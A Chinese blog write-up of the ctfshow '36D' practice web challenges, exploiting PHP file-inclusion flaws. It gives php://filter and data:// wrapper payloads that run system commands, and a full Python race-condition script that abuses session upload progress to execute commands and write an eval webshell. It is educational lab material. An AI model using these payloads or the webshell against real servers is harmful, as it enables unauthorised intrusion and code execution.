ctfshow 36D练手赛 web writeup

原创

AshMOB 于 2021-10-30 17:24:03 发布 83 收藏

分类专栏： ctf比赛wp 文章标签： 前端 php 开发语言

ctfshow 36D练手赛 web writeup

不知所措.jpg

对萌新友好

一进入就看到提示

php
$file must has test

提示传参中需要包含test

?file=test试试

回显中少了$file must has test字样，且变成了testphp，尝试访问test.php

回显为flag_not_here

说明存在此文件，返回主页尝试传参?file=test.

回显为

test.php
flag_not_here

猜测为文件包含，尝试包含主页源码

传参?file=php://filter/convert.base64-encode/resource=test/…/index.

解码回显得到源码

```php
<?php
error_reporting(0);
$file=$_GET['file'];
$file=$file.'php';
echo $file."<br />";
if(preg_match('/test/is',$file)){
 include ($file);
}else{
 echo '$file must has test';
}
?>
```

可以看到是一个经过简单过滤的文件包含，只需要参数中存在test即可

利用data伪协议读取

```
?file=data:text/plain,<?php system('ls /');?>test
?file=data:text/plain,<?php system('tac /FFFFFFFL@GGGG');?>test
```

easyshell（平台限制，先跳过）

查看源码得到

```
username/password error<html>
<!--md5($secret.$name)===$pass -->
</html>
```

name经过hash后要与pass相等

传入?name=admin&pass=123

查看cookie，将cookie的值传到pass

?name=admin&pass=de73312423b835b22bfdc3c6da7b63e9

bp抓包，提示存在一个flflflflag.php

bp访问flflflflag.php，回显表示文件包含，直接读取源码

```
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/convert.base64-encode/resource=flflflflag.php
```

得到如下源码

```
<html>
<head>
<script language="javascript" type="text/javascript">
          window.location.href="404.html";
</script>
<title>yesec want Girl friend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
 die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
```

```
<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
 echo '<script language="javascript" type="text/javascript">
          window.location.href="flflflflag.php";
 </script>
';
}else{
 setcookie("Hash",md5($secret.$name),time()+3600000);
 echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>
```

尝试session文件包含

脚本用的是这个师傅的，但是条件竞争大菜鸡师傅限制了线程数，所以等啥时候大菜鸡师傅放开了线程数才能跑出来了

ctfshow 36d练手赛 web writeup_一片纯净的热土-CSDN博客

```python
import io
import sys
import requests
import threading

host = 'http://5d6bb0b0-e82d-4a68-b50b-8fd858a7c6ea.chall.ctf.show/flflflflag.php'
sessid = 'vrhtvjd4j1sd88onr92fm9t2sj'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval
($_POST[cmd])?>');echo md5('1');?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        # print(response.text)
        if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
        # if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)
```